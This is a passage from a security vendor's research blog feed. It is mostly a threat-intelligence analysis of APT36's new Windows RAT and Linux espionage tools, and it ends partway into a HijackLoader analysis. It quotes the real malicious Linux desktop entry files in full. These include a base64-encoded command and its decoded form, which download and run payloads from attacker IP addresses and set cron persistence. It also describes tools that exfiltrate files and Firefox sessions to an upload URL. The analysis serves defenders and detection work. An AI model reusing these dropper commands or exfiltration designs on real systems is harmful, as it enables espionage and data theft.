Security Research | Blog Category Feed https://www.zscaler.com/ Zscaler Blog — News and views from the leading voice in cloud security. en ThreatLabz Discovers 117 Vulnerabilities in Microsoft 365 Apps Via the SketchUp 3D Library - Part 2 https://www.zscaler.com/blogs/security-research/threatlabz-discovers-117-vulnerabilities-microsoft-365-apps-sketchup-3d-0 Tue, 21 Nov 2023 08:03:04 -0800 Kai Lu https://www.zscaler.com/blogs/security-research/threatlabz-discovers-117-vulnerabilities-microsoft-365-apps-sketchup-3d-0 Coverage Advisory for CVE-2023-47246 SysAid Zero-Day Vulnerability https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-47246-sysaid-zero-day-vulnerability Wed, 15 Nov 2023 07:56:09 -0800 Nishant Gupta https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-47246-sysaid-zero-day-vulnerability Generative AI: 5 Enterprise Predictions for AI and Security — for 2023, 2024, and Beyond https://www.zscaler.com/blogs/security-research/generative-ai-5-enterprise-predictions-ai-and-security-2023-2024-and-beyond Thu, 09 Nov 2023 10:13:40 -0800 Will Seaton https://www.zscaler.com/blogs/security-research/generative-ai-5-enterprise-predictions-ai-and-security-2023-2024-and-beyond ThreatLabz Discovers 117 Vulnerabilities in Microsoft 365 Apps Via the SketchUp 3D Library - Part 1 https://www.zscaler.com/blogs/security-research/threatlabz-discovers-117-vulnerabilities-microsoft-365-apps-sketchup-3d Tue, 31 Oct 2023 20:18:30 -0700 Kai Lu https://www.zscaler.com/blogs/security-research/threatlabz-discovers-117-vulnerabilities-microsoft-365-apps-sketchup-3d A Retrospective on AvosLocker https://www.zscaler.com/blogs/security-research/retrospective-avoslocker Fri, 27 Oct 2023 08:17:50 -0700 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/retrospective-avoslocker Mystic Stealer Revisited https://www.zscaler.com/blogs/security-research/mystic-stealer-revisited Wed, 25 Oct 2023 08:30:01 -0700 Javier Vicente https://www.zscaler.com/blogs/security-research/mystic-stealer-revisited Responding and Defending Against IdP Vendor Compromise https://www.zscaler.com/blogs/security-research/responding-and-defending-against-idp-vendor-compromise Wed, 25 Oct 2023 17:40:50 -0700 Deepen Desai https://www.zscaler.com/blogs/security-research/responding-and-defending-against-idp-vendor-compromise 2023 ThreatLabz Report Indicates 400% Growth in IoT Malware Attacks https://www.zscaler.com/blogs/security-research/2023-threatlabz-report-indicates-400-growth-iot-malware-attacks Tue, 24 Oct 2023 09:05:29 -0700 Viral Gandhi https://www.zscaler.com/blogs/security-research/2023-threatlabz-report-indicates-400-growth-iot-malware-attacks BunnyLoader, the newest Malware-as-a-Service https://www.zscaler.com/blogs/security-research/bunnyloader-newest-malware-service Fri, 29 Sep 2023 19:09:13 -0700 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/bunnyloader-newest-malware-service Analysis of Generative AI Trends and ChatGPT Usage https://www.zscaler.com/blogs/security-research/analysis-generative-ai-trends-and-chatgpt-usage Tue, 26 Sep 2023 13:49:49 -0700 Deepak Shanker https://www.zscaler.com/blogs/security-research/analysis-generative-ai-trends-and-chatgpt-usage Ransomware Attacks on Gaming Industry - A CISO Perspective https://www.zscaler.com/blogs/security-research/ransomware-attacks-gaming-industry-ciso-perspective Tue, 19 Sep 2023 13:58:50 -0700 Deepen Desai https://www.zscaler.com/blogs/security-research/ransomware-attacks-gaming-industry-ciso-perspective A peek into APT36’s updated arsenal https://www.zscaler.com/blogs/security-research/peek-apt36-s-updated-arsenal Introduction In July 2023, Zscaler ThreatLabz discovered new malicious activity perpetuated by the Pakistan-based advanced persistent threat group (APT36). APT36 is a sophisticated cyber threat group with a history of conducting targeted espionage operations in South Asia. We observed APT36 targeting Indian government sectors using a previously undocumented Windows RAT, new cyber espionage utilities for Linux, new distribution mechanisms, and a new attack vector used against the Linux environment. In this blog, we will examine the latest tools employed by APT36, which are designed to target both Windows and Linux operating systems. Key Takeaways Brief Overview Analysis of ElizaRAT, the New Windows RAT Malicious Linux Desktop Entry Files as New Attack Vectors New Python-Based Cyber Espionage Utilities Targeting Linux Threat Attribution Threat Actor Infrastructure Conclusion Zscaler Coverage MITRE ATT&CK TTP Mapping Indicators of Compromise (IOCs) Key Takeaways Updated arsenal of APT36: The threat actor has resurfaced with a fresh, fully functional Windows remote administration tool (RAT), novel tools for cyber espionage on Linux systems, innovative distribution methods, and additional attack vectors. New Windows RAT: A custom RAT, referred to as ElizaRAT, has been incorporated into the APT36 toolkit. ElizaRAT is delivered as a .NET binary and establishes a C2 communication channel via Telegram, enabling threat actors to exert complete control over the targeted endpoint. Abuse of legitimate services: Legitimate services, such as Google Drive and Telegram, are abused in different stages of the attack chain. New attack vectors for Linux: APT36 now boasts innovative weaponization of Linux desktop configuration files that target Linux-based endpoints in the Indian government sector. Deceptive tactics: The threat actor took extensive measures to conceal any link to Pakistan. They chose the infrastructure and artifacts meticulously to make it appear as though the activities were conducted in India. Reuse of infrastructure: In some cases, the same C2 infrastructure is being used by APT36 for both credential phishing attacks and distributing malicious binaries. Brief Overview APT36 is an advanced persistent threat (APT) group which we attribute to Pakistan with very high confidence. This group has been active since 2013 and primarily targets the Indian government, defense, and education sectors. This group leverages credential harvesting and malware distribution attacks to conduct cyber espionage. APT36 utilizes: Custom-built remote administration tools targeting Windows Lightweight Python-compiled cyber espionage tools serving specific purpose targeting Windows and Linux Weaponized open-source C2 frameworks like Mythic Trojanized installers of Indian government applications like KAVACH multi-factor authentication Trojanized Android apps Credential phishing sites targeting Indian government officials Analysis of ElizaRAT, the New Windows RAT We assigned the moniker “ElizaRAT” to this new Windows-based backdoor utilized by APT36 due to the distinctive strings identified within the commands observed during our real-time analysis of the C2 communication channel. ElizaRAT is distributed as .NET binaries sent inside password-protected archive files hosted on Google Drive links. During our threat analysis, we gathered several samples of ElizaRAT and they all shared these characteristics: They are all .NET binaries that are compiled as Control Panel applets (CPL) and use the ".cpl" file extension. To the best of our knowledge, we believe this is the first time APT36 has weaponized the CPL file format. The binaries are large in size - ranging from 4MB to 16MB. The Costura .NET framework was used to embed the essential .NET assemblies inside the main malware which resulted in the inflation of binary sizes. The Telegram API was used for C2 communication. For this technical analysis, we use the following file metadata: MD5 hash: fc99daa2e1b47bae4be51e5e59aef1f0 Filename: AgendaMeeting.cpl Since this Windows RAT arrives on the endpoint in the form of a Control Panel applet, the first method called upon execution is CplApplet(). This method transfers control to Program().Main() which in turn invokes an asynchronous task - MainAsync(). Inside this task, all important malicious operations are carried out. The image below shows Program().Main() kick starting the malicious activities on the endpoint. Figure 1: The MainAsync() method used to start the malicious activities on the endpoint. Some of the key operations performed by ElizaRAT are: Initializes the Telegram bot with Communicate.ConnectMe() using the built-in Telegram bot token and sets it up in polling mode to receive commands from the threat actor. Creates a directory: %appdata%\TextSource Generates a UUID and username specific to the infected machine. Drops and displays a decoy PDF file to the user. Sets up persistence on the machine. Fetches details on antivirus softwares running on the machine and sends the information to the attacker-controlled Telegram bot. In the following sections, we dive deeper into some of these operations. Logging Operation Each execution result is logged on both the endpoint (client-side) and the Telegram bot (server-side). The code below shows that logging is done at the local and remote level. // remote logging in Telegram bo await Communication.send_message("Username Created with name : " + TextSource.Settings._username); // local logging on the infected endpoint File.AppendAllText(TextSource.Settings.log_p, "username created local\n"); Unique Identifier Generation A UUID and username are generated for each infected machine so that the threat actor can uniquely identify the victim. It uses Windows Management Instrumentation (WMI) to fetch the processorID and UUID of the machine, and uses both these details to generate a UUID and username specific to the infected machine The only difference between the generated UUID and the username is the ".cookie" extension. The username is the UUID without the ".cookie" extension. The image below shows the relevant code used to generate these values. Figure 2: The getusername() method used to generate the UUID and username to identify the infected machine. C2 Command Format Since the threat actor uses the same Telegram bot to manage multiple infected endpoints, they use a specific C2 command format to synchronize the operations and ensure that a given command executes only on the intended endpoint. The C2 command format looks like this: <command>*<username>*<arguments> C2 Commands All C2 commands are handled in a switch-case statement by the Bot_OnMessage() method inside the Communicate class. Before the execution of any command, the RAT extracts the username from the C2 command and compares it with the infected machine's username. The command is executed successfully only if both the values match. The following C2 commands are supported by the bot: Table 1: C2 commands supported by Telegram bot C2 COMMAND FUNCTIONALITY /dir Fetches the list of files in the specified directory. /upload Uploads the specified file from the victim’s machine. /getprocess Gets the list of processes running on the victim’s machine. The list is returned in a file with the name getproc.dll . /run Executes the specified program on the victim’s machine. /delete Deletes the specified file. /end Kills the specified processes on the victim’s machine. /online Checks whether the infected machine is online. /identity Connects to the specified website from the victim’s machine and sends a response to the threat actor. This can be used to fetch the machine’s IP address by supplying a parameter like hxxps://api.ipify[.]org . /ping Checks internet connectivity from the victim’s machine to the specified website. /scr Takes a screenshot of the victim’s machine and sends it to the threat actor in a file named scr.dll . /createdir Creates a directory on the user’s machine. Persistence In order to achieve persistence on the infected machine, the bot creates a Windows shortcut file (LNK) in the Windows Startup directory. The image below shows the code used to create this shortcut file. The name of the shortcut file is fetched from the "orig_name" setting defined in the config. In this case, the shortcut file is called TextSource.lnk. Figure 3: The buildforts() method used to create a Windows shortcut file in the Startup directory for persistence. The description of this shortcut file is set to "Text Editing APP for Windows" to disguise it as a text editing application, making it seem innocuous. In addition, the target command line is set to execute the Control panel applet using rundll32 . Displaying Decoy Content The method dosome() defined in the Program class is responsible for displaying the decoy PDF file to the user. This decoy file is present inside the resources section of the .NET binary. The image below shows the decoy file. It is only used to distract the victim and make it appear that an error occurred when opening the file. Figure 4: Decoy PDF file displayed to the user. Malicious Linux Desktop Entry Files as New Attack Vectors The utilization of Linux desktop entry files by APT36 as an attack vector has never been documented before. This attack vector is fairly new and appears to be utilized in very low-volume attacks. So far, our research team has discovered three samples - all of which have 0 detection on VirusTotal. We first observed an occurrence in May 2023 when a credential phishing website used to target Indian government employees was also found to be hosting a redirector to distribute ZIP archives containing malicious Linux desktop entry files. National Informatics Center (NIC), India Phishing Attack - May 2023 In May 2023, we discovered a credential phishing site, email9ov[.]in, targeting Indian government officials by masquerading as the official login portal for National Informatics Center (NIC), India. We notified NIC in May 2023 about this website and the associated threat intel. We also noticed that the same phishing website was using the hxxps://email9ov[.]in/VISIT_OF_MEDICAL URL to redirect visitors to the hxxp://103.2.232[.]82:8081/Tri-Service-Exercise/Delegation_Saudi_Arabia.zip URL. From here, a visitor would download a ZIP archive containing a maliciously crafted Linux desktop entry file. Here are some technical details about this case: ZIP archive MD5 hash: 9c66f8c0c970822985600bed04e56434 ZIP filename: Delegation_Saudi_Arabia.zip Desktop entry file MD5 hash: f27a4968af4ed64baef8e086516e86ac Desktop entry filename: Delegation_Saudi_Arabia.desktop Desktop entry file analysis We found the following content in the desktop entry file: [Desktop Entry] Encoding=UTF-8 Name=Delegation_Saudi_Arabia.pdf Exec=sh -c "echo 'L3Vzci9iaW4vd2dldCAnaHR0cDovLzEwMy4yLjIzMi44Mjo4MDgxL1R yaS1TZXJ2aWNlLUV4ZXJjaXNlL0RlbGVnYXRpb25fU2F1ZGlfQXJhYmlhLnBkZicgLU8g L3RtcC9EZWxlZ2F0aW9uX1NhdWRpX0FyYWJpYS5wZGY7IC91c3IvYmluL3dnZXQgJ2 h0dHA6Ly8xMDMuMi4yMzIuODI6ODA4MS9JU0VQQy0xMi0yMDIzLUFnZW5kYS1mb3It bWVldGluZy8xODUnIC1PIC90bXAvMTg1LmVsZjsgY2QgL3RtcDsgY2htb2QgK3ggMTg1 LmVsZjtsaWJyZW9mZmljZSAvdG1wL0RlbGVnYXRpb25fU2F1ZGlfQXJhYmlhLn BkZiB8IC4vMTg1LmVsZg==' | base64 -d | sh" Terminal=false Type=Application Icon=x-office-document The icon of this desktop entry file is set to "x-office-document" to seem like an innocent Office document. The base64-encoded command present inside the desktop entry file decodes to: /usr/bin/wget 'hxxp://103.2.232[.]82:8081/Tri-Service-Exercise/Delegation_Saudi_Arabia.pdf' -O /tmp/Delegation_Saudi_Arabia.pdf; /usr/bin/wget 'hxxp://103.2.232[.]82:8081/ISEPC-12-2023-Agenda-for-meeting/185' -O /tmp/185.elf; cd /tmp; chmod +x 185.elf;libreoffice /tmp/Delegation_Saudi_Arabia.pdf | ./185 The command decoded above performs the following actions: 1. Downloads the decoy PDF and saves it in the /tmp directory with the filename: Delegation_Saudi_Arabia.pdf . 2. Downloads the Linux payload and saves it in the /tmp directory with the filename: 185.elf . 3. Marks the Linux binary as executable. 4. Uses LibreOffice to open and display the decoy PDF file. 5. Executes the Linux payload. In this case, the Linux payload was a cross-platform binary designed to run on both Linux and WSL (Windows Subsystem for Linux) machines. Since it did not contain a fully functional C2 mechanism at the time of analysis, we believe it was still in a development phase and used by the threat actor as an initial test. To read about “Lee” agent’s cross-platform capabilities, visit the Lumen blog. The content inside the decoy PDF file is displayed in the image below. Figure 5: Decoy PDF displayed to the user. The PDF appears to be a document from the Indian Ministry of Defence describing the visit of nine members of a delegation from Saudi Arabia, where they discussed issues with Indian Armed Forces medical officials. Inflated File Attack - June 2023 Beginning in June 2023, we detected APT36 establishing their operational infrastructure on a server with the IP address 153.92.220.59. The threat actor proceeded to register multiple domains hosted on this IP. Further insight into this attacker-controlled infrastructure is available in the Threat Actor Infrastructure section. In August, we noted a significant development where few of these domains served as the hosting platform for decoy PDF files. These PDFs were linked within the malicious Linux desktop entry files, which the threat actor distributed enclosed in zip archives. Here are some technical details about this case: ZIP archive MD5 hash: 36b19ca8737c63b9c9a3365ff4968ef5 ZIP filename: Meeting_agenda.zip Desktop entry file MD5 hash: 65167974b397493fce320005916a13e9 Desktop entry filename: approved_copy.desktop Desktop entry file analysis Inflated file size The first anomaly we observed was the large size of the Linux desktop entry file. A size larger than 1 MB for a Linux desktop entry file is rare. Reviewing the file revealed that the threat actor inflated the size of the file by adding more than a million "#" characters. We believe this was an attempt by the threat actor to bypass security scanning solutions. The image below shows the extra characters added to the inflated Linux desktop entry file. Figure 6: The inflated Linux desktop entry file. The relevant content from the Linux desktop entry file is shown below. [Desktop Entry] Type=Application Name=approved_copy.pdf Exec=bash -c "xdg-open 'https://admin-dept[.]in//approved_copy.pdf' && mkdir -p ~/.local/share && wget 64.227.133[.]222/zswap-xbusd -O ~/.local/share/zswap-xbusd && chmod +x ~/.local/share/zswap-xbusd; echo '@reboot ~/.local/share/zswap-xbusd'>>/dev/shm/myc.txt; crontab -u `whoami` /dev/shm/myc.txt; rm /dev/shm/myc.txt; ~/.local/share/zswap-xbusd" Icon=application-pdf Name[en_US]=approved_copy.desktop This desktop file performs these main operations: Downloads the decoy PDF file from the https://admin-dept[.]in/approved_copy.pdf URL and displays it to the victim. This decoy file contains an error message to distract the user. Figure 7 shows that the icon of this desktop file is set to application-pdf which is done to disguise the malware as an innocuous file. Creates a hidden directory path called, local/share, in the user's home directory. Downloads the Linux payload from the URL 64.227.133[.]222/zswap-xbusd using wget. Saves it as zswap-xbusd in the previously created hidden directory. Writes a short shell script to the file /dev/shm/myc.txt. The shell script reboots the machine and then launches the Linux payload. Sets up a cron job under the current username to run the contents of the /dev/shm/myc.txt script. Deletes the shell script. Executes the Linux payload. Figure 7: The icon of the desktop configuration file is set to PDF to make it more convincing. At the time of our analysis, the server 64.227.133[.]222 was not serving the Linux payload. We continued monitoring this infrastructure and noticed that on Aug 29, 2023, a new domain called admin-br[.]in was registered and used to distribute a new Linux desktop entry file. In this instance, we were able to retrieve the payloads and conclude the threat attribution to APT36. Here is metadata from the new Linux desktop entry file: MD5 hash: 574013c4a22ca2d8d8c76e65ef5e8059 Filename: approved_copy.desktop The relevant content from the Linux desktop entry file is shown below. [Desktop Entry] Type=Application Name=approved_copy.pdf Exec=bash -c "xdg-open 'https://admin-br[.]in//approved_copy.pdf' && mkdir -p ~/.local/share && wget 64.227.138[.]127/4200f0916f146d2ac5448e91a3afe1b3/pickle-help -O ~/.local/share/pickle-help && chmod +x ~/.local/share/pickle-help;~/.local/share/pickle-help >/dev/null 2>&1 & sleep 5; wget 134.209.159[.]9/4200f0916f146d2ac5448e91a3afe1b3/ziputils-help -O ~/.local/share/ziputils-help && chmod +x ~/.local/share/ziputils-help; echo '@reboot ~/.local/share/ziputils-help'>>/dev/shm/myc.txt;echo '@reboot ~/.local/share/ziputils-help'>>/dev/shm/myc.txt; crontab -u `whoami` /dev/shm/myc.txt; rm /dev/shm/myc.txt;~/.local/share/ziputils-help &" Icon=application-pdf Name[en_US]=approved_copy.desktop The functionality of this file is similar to the previous Linux desktop entry file. The image below shows a decoy PDF file displaying an error message stating “Failed to load the PDF document”. This is used to distract the user while malicious activities occur in the background. Figure 8: The decoy PDF file displayed to the user. In this case, the Linux desktop entry file retrieves the malicious Linux payloads from the servers at: 64.227.138[.]127 134.209.159[.]9 The two files retrieved are cleverly named to disguise themselves as legitimate software utilities. Here is the metadata of Linux payloads: MD5 hash: 98279047a7db080129e5ec84533822ef Filename: pickle-help MD5 hash: 248d4e6bb0f32afd7a1cfb975910235a Filename: ziputils-help A quick technical analysis determined these Linux payloads as Mythic Poseidon binaries. Since Mythic is an open-source framework that is well-documented on GitHub, we will not explore its technical details in this blog. The corresponding C2 servers extracted from each malicious Linux payload are listed below. Table 2: C2 servers from malicious Linux payload C2 IP ADDRESS PORT 108.61.163[.]195 7443 64.176.40[.]100 7443 The C2 panel for Mythic Poseidon can be accessed by visiting the URI path /new/login on the server running at port 7443. For instance, the C2 panel for 108.61.163[.]195 can be accessed at hxxps://108.61.163[.]195:7443/new/login . Figure 9: The Mythic C2 panel for the Poseidon binary. New Python-Based Cyber Espionage Utilities Targeting Linux During our analysis, we also discovered new Python-based ELF binaries used by APT36 for the purpose of cyber espionage. These binaries target the Linux environment in the Indian government organizations and are named to seem like legitimate Linux system services. In this section, we review two types of cyber espionage tools discovered by our research team. GLOBSHELL - Custom-built File exfiltration Linux utility The espionage tool under analysis includes this metadata: MD5 hash: 3c3c9303ae33f3bae2e139dbb1db838e Filename: rcu-tasks-kthread This ELF binary was compiled using PyInstaller. We extracted the decompiled Python code to understand its functionality. The image below shows the decompiled code. Figure 10: The decompiled code of Python-based cyber espionage tool type 1. These are the key operations performed by this script: The script contains a predefined list of file extensions which are scanned for in the /media directory recursively. The list of file extensions includes various types like image files, MS Office files, LibreOffice, and PDF. Once the list of files is built, it copies the files to a hidden directory in the path: ~/.config/bossconfig/usnconfig/ The content inside this directory is archived into a ZIP file called usnconfig.zip . Data is exfiltrated to the URL hxxp://baseuploads[.]com/myf/test.php in an HTTP POST request. Along with the ZIP file, the machine's username, hostname, and the current timestamp are sent. We found another ELF binary called mm-precpu-wq with the same functionality as the ELF binary discussed above. However, this binary included a more in-depth predefined list of file extensions and file paths which it scans to exfiltrate files. In addition to the /media directory, this binary also searches the following paths: /home/{user}/Downloads/**/ /home/{user}/Documents/**/ /home/{user}/Desktop/**/ /home/{user}/Pictures/**/ /home/{user}/.local/share/Trash/**/ PYSHELLFOX - Custom-built Firefox session stealing Linux utility The second type of cyber espionage tool we discovered steals the Firefox browser session details of the user if the user has a browser tab open with any of the following titles or URLs: email.gov.in/# inbox web.whatsapp.com As is evident from this list, the threat actor is interested in exfiltrating the user's Indian government inbox details as well as WhatsApp conversations. The image below shows the relevant code section which does this. Figure 11: The decompiled code Python-based cyber espionage tool type 2. The espionage tool under analysis includes this metadata: MD5 hash: c86f9ef23b6bb200fc3c0d9d45f0eb4d Filename: events-highpri These are the key operations performed by this script: Fetches the list of all the live Firefox sessions by scanning the path .mozilla/firefox/*default*/sessionstore-backups/recovery.js* . For each file on the list, the code locates the file containing the magic bytes, mozLz40\x00, as the first 8 bytes. Uses LZ4 decompression to extract the JSON data from the magic bytes file. This JSON data has details about the windows and tabs in the current live Firefox session. Iterates over every tab in every Firefox window, extracting the title and the URL from each tab. Then, the code checks if they match any value in the predefined list mentioned earlier. If and when it finds a match, the code archives the ~/.mozilla/firefox directory content into the /dev/shm/firefox.zip ZIP archive. Uploads the ZIP archive to hxxp://baseuploads[.]com/myf/test.php in an HTTP POST request. In addition to uploading the data, the code also uploads the username, hostname, and current timestamp. Reasons for New Linux-Based Attack Vectors Why is APT36 suddenly adding new attack vectors for the Linux environment? Historic and widespread usage of Linux in the Indian government sector: Linux-based operating systems are widely used in the Indian government sector. The Debian-based operating system, BOSS (Bharat Online Software Solution), developed by CDAC is used across various state ministries and even the Indian defense forces. For more details about the usage of Linux Boss in India, visit the Ministry of Electronics & Information Technology. Expanding into government-related verticals: The recent announcement by the Indian government introduces Maya OS, a Debian Linux-based operating system that will replace Microsoft Windows OS across government and defense sectors. Consequently, there is now a substantial incentive for APT36 and other nation-state threat actors, known for targeting India, to incorporate new attack vectors and Linux payloads into their arsenal. The ubiquitous use of Linux-based systems in more verticals means more potential victims. Threat Attribution We attribute these new Windows and Linux-based attacks to APT36 because their method of serving decoy PDF files, the metadata and their Linux commands are almost identical to previous attacks, which are known and linked to APT36. In addition to this, there is also a C2 infrastructure overlap with previous APT36 attacks which we describe in more detail in the corresponding section. Decoy PDF files The decoy PDF file which is dropped in the same directory as the malicious DLL on the victim's machine by ElizaRAT. The metadata of this PDF file indicated the author as "Apolo Jones" and the PDF file itself was generated with Microsoft Office Word. Both these indicators align with our technical analysis of APT36 from November of 2022. In addition to this, the decoy PDF files downloaded from the attacker-controlled servers in the campaign targeting the Linux platform share the same metadata as well. Linux commands While the attack vector used to distribute the Linux payload is entirely new in this campaign, the Linux commands and file paths used in the desktop entry files share similarities with the previous APT36 campaign used to distribute Linux payloads. In March 2023, APT36 used a Python-compiled ELF binary to target the Linux environment in the Indian government sector. You can read about it on the Uptycs blog. By comparing the Linux commands used in the decompiled Python code in March 2023 and the Linux commands used in the latest desktop entry files (in August 2023), we can see a clear similarity. The figure below shows a side-by-side comparison of the two. Figure 12: A side-by-side comparison of Linux commands from the March 2023 and August 2023 campaigns executed by APT36. Here is a list of similarities between both cases: A hidden directory path structure is created in the location: ~/.local/share . A short shell script responsible for rebooting the machine and executing the Linux payload is written to /dev/shm/ . The same crontab command is executed. The shell script is deleted. The sequence of commands is similar. Threat Actor Infrastructure In the APT36 attacks observed since April 2023, the threat actor has taken extensive measures to conceal any connection to Pakistan by making it seem that the infrastructure is controlled by a threat actor in India. We assess, with a high-confidence, that this is not a coincidence but rather an intentional deception tactic used by APT36 to avoid the attacks from being attributed to Pakistan. Registrant Country of C2 Domains Beginning in June 2023, the threat actor started registering several domains on a server with the IP address 153.92.220.59. The IP address is related to the Hostinger ASN. This infrastructure was involved in the attacks distributing malicious Linux desktop entry files discussed earlier. While the WHOIS information for all these domains is redacted, we can still see the registrant country. For most of the domains, the threat actor took sufficient measures to ensure the registrant country is India (IN). However, for one of the domains, admindesk[.]in, we can see the registrant country is PK (Pakistan). The figure below shows examples of WHOIS information for two of the domains registered by the threat actor on the same infrastructure and used in the same attack. Figure 13: A side-by-side comparison of the WHOIS info from two attacker-registered domains related to same campaign and infrastructure. We believe this was an OPSEC mistake by the threat actor. C2 Infrastructure Overlap There is a C2 infrastructure overlap between the latest campaign and the previous instances of attacks by APT36. In 2022, the server with IP address 153.92.220[.]48 was used to host the domains below which are registered by APT36: Govscholarships[.]in Kavach-apps[.]com Kavach-app[.]in Rodra[.]in ksboard[.]in In the latest instance, a server with IP address: 153.92.220[.]59 was used to host the C2 domains. Both the IP addresses belong to the same subnet: 153.92.220.0/24 These IP addresses belong to the ASN - AS 47583 (Hostinger) which has been abused by APT36 in the past. Email Associated with Malicious Google Drive Links ElizaRAT is distributed using malicious Google Drive links. Leveraging the Google Drive ID from the links, we gathered additional information about the owner of the Google Drive and the corresponding email address. The image below shows the information we retrieved. Figure 14: A Google Drive link details revealing owner information. The email address and owner name associated with the Google Drive link was: Email address: [email protected] Owner namer: "Nand Kishore" Because “Nand Kishore” is a common name in India, the fake owner was added to implicate a threat actor from India, not Pakistan - where APT36 originates. Attacker-Controlled Server IP Addresses In a few instances, threat actors distributed malicious Linux desktop entry files where the embedded payloads were hosted on servers located in India. This tactic of using servers in the same region as the targeted country for mounting attacks is another deceptive technique employed by APT36. Here is a list of the IP addresses of four servers hosting the malicious Linux payloads: 103.2.232[.]82 64.227.133[.]222 64.227.138[.]127 134.209.159[.]9 Top Level Domain (TLDs) of Malicious Domains In all of the attacks we reviewed for this blog, the TLD was always set to .in - corresponding with the country of India. Another tactic used by APT36 in a few cases is to disguise bad URLs as official Indian government-related web addresses. Conclusion Our research team is actively monitoring the C2 infrastructure of APT36, which is used to register new domains that are used in attacks targeting the Linux environment. The infrastructure continues to be active at the time of this blog publication. We have included a comprehensive list of indicators of compromise (IOCs) at the end of this blog and we urge the research community to update their detection. We have also done a proactive responsible disclosure to the National Informatics Centre (NIC), India with IOC details and the associated threat intelligence. APT36’s introduction of new file formats, new attack vectors, and a new backdoor to the arsenal suggests that they are actively updating their tactics, techniques, and procedures (TTPs). In addition to staying on top of these threats, Zscaler's ThreatLabz team continuously monitors for new threats and shares its findings with the wider community. Zscaler Coverage Zscaler's multilayered cloud security platform detects indicators at various levels. Win32.RAT.ElizaRAT Win64.RAT.ElizaRAT Linux.Payload.GLOBSHELL Linux.Payload.PYSHELLFOX Linux.Backdoor.Mythic The image below shows the sandbox detection for the new Windows RAT (ElizaRAT) used in the attack. MITRE ATT&CK TTP Mapping ID TACTIC TECHNIQUE T1218.002 System Binary Proxy Execution: Control Panel ElizaRAT is distributed in the form of Control Panel applet file format (cpl). T1567.002 Exfiltration Over Web Service ElizaRAT uses the Telegram API for C2 communication. T1564.001 Hide Artifacts: Hidden Files and Directories Linux desktop entry file downloads and drops binaries in hidden directories. T1036 Masquerading: Match Legitimate Name or Location Linux desktop entry file downloads and drops binaries in hidden directories. T1027.001 Obfuscated Files or Information: Binary Padding More than a million “#” characters are added to the Linux desktop entry file to inflate its file size and potentially bypass security scanning solutions. Indicators of Compromise (IOCs) Windows Platform MD5 HASH BINARY NAME b14884744cf3f86f6bd5a87f6bcbed85 NotepadPlus.cpl a37d9aa1e165b9dc6c4ff396a9df49aa NotepadPlus.cpl 62ee540334236723136bf0fecfeb6311 NotepadPlus.cpl b89990ec5fe9b5cef59f1cd690403a75 NotepadPlus.cpl 9cc4c6ca7826c0771cfbdf27b2bbb515 NotepadPlus.cpl fc99daa2e1b47bae4be51e5e59aef1f0 AgendaMeeting.cpl 66a69bf967bb882e34b1c32081a9ccee TextSource.cpl a279035702edd9f2507b5ce5fa69c6d4 Agenda_Meeting.cpl 1741147a31526e23798a7a1b702ade36 Agenda_Meeting.rar Linux Platform Linux desktop config files and Poseidon binaries MD5 HASH BINARY NAME 65167974b397493fce320005916a13e9 approved_copy.desktop 574013c4a22ca2d8d8c76e65ef5e8059 approved_copy.desktop 36b19ca8737c63b9c9a3365ff4968ef5 Meeting_Agenda.zip 9c66f8c0c970822985600bed04e56434 Delegation_Saudi_Arabia.zip f27a4968af4ed64baef8e086516e86ac Delegation_Saudi_Arabia.desktop 98279047a7db080129e5ec84533822ef pickle-help 248d4e6bb0f32afd7a1cfb975910235a ziputils-help Linux Python-compiled cyber espionage tools MD5 HASH BINARY NAME 3c3c9303ae33f3bae2e139dbb1db838e rcu-tasks-kthread 7608c396f0dfb9eac8d88a7b5a7e04e4 mm-precpu-wq c86f9ef23b6bb200fc3c0d9d45f0eb4d events-highpri 6a2243837c71d8071523cc76b8d4af43 nm_applet 8e4f65d5d58fca38a6d66a1afb228f20 xdg-user_dirs Attacker Infrastructure The domains and URLs below are involved in the attacks used to target Linux environments with desktop entry files. Notice how all of them are using “.in” as the TLD. admincell[.]in admin-dept[.]in coordbranch[.]in adminbr[.]in coordbr[.]in admin-desk[.]in admindesk[.]in adminsec[.]in admindept[.]in admin-br[.]in hxxps://email9ov[.]in/VISIT_OF_MEDICAL/ hxxp://103.2.232[.]82:8081/ISEPC-12-2023-Agenda-for-meeting/ The domains and URLs below are related to the Python-based cyber espionage tools. baseuploads[.]com baseuploads[.]com/myf/test.php indiauc[.]com indiauc[.]com/myf/test.php The URLs used to host the password-protected archive files distributing ElizaRAT: hxxps://drive.google.com/uc?export=download&id=1SaBv9C5EJlXKCQQ_8Tlkl1cBJ9-9XN8u hxxps://drive.google.com/uc?export=download&id=140KPyaNuYZgOhP3Q7sTQPZ6a-q6x5j-h Tue, 12 Sep 2023 13:22:21 -0700 Sudeep Singh https://www.zscaler.com/blogs/security-research/peek-apt36-s-updated-arsenal Technical Analysis of HijackLoader https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader Introduction HijackLoader is a new malware loader, which has grown in popularity over the past few months. Even though HijackLoader does not contain advanced features, it is capable of using a variety of modules for code injection and execution since it uses a modular architecture, a feature that most loaders do not have. Based on our telemetry, we have observed HijackLoader being used to load different malware families such as Danabot, SystemBC and RedLine Stealer. In this blog, we examine the inner workings of HighjackLoader, from its initialization to modular design to anti-analysis techniques. Key Takeaways HijackLoader is a new malware loader that ThreatLabz first observed in July 2023. The loader is being leveraged to drop numerous malware families, including Danabot, SystemBC, and RedLine Stealer, amplifying its potential threat. HijackLoader utilizes syscalls to evade monitoring from security solutions, detects specific processes based on an embedded blocklist, and delays code execution at different stages. The malware uses embedded modules that facilitate flexible code injection and execution - a feature uncommon among traditional loaders. Technical Analysis The following sections describe each stage and component of HijackLoader. It should be noted that the analysis focuses on one of the many samples observed by ThreatLabz. As a result, certain parts of the analysis might differ from sample to sample (e.g. structure field offsets). First Stage Loader Initialization Phase Upon execution, HijackLoader starts by executing a modified (hooked) function of the Windows C Runtime (CRT), which points to the entry point of the first stage. During its initialization phase, the loader determines if the final payload has been embedded in the binary or if it needs to download it from an external server. To achieve this, HijackLoader includes an encrypted configuration, which stores information such as: A DWORD hash value to detect the next stage (e.g., the ti module described later in the text) from the modules table. Windows API hashes for dynamic loading. An array of DWORDs, which are used to determine if the loader has to download the final payload. The offsets for these fields might differ from sample to sample. Parameters for several Windows API functions. For example, the constant PAGE_EXECUTE_READWRITE (0x40) for VirtualProtect. A DWORD 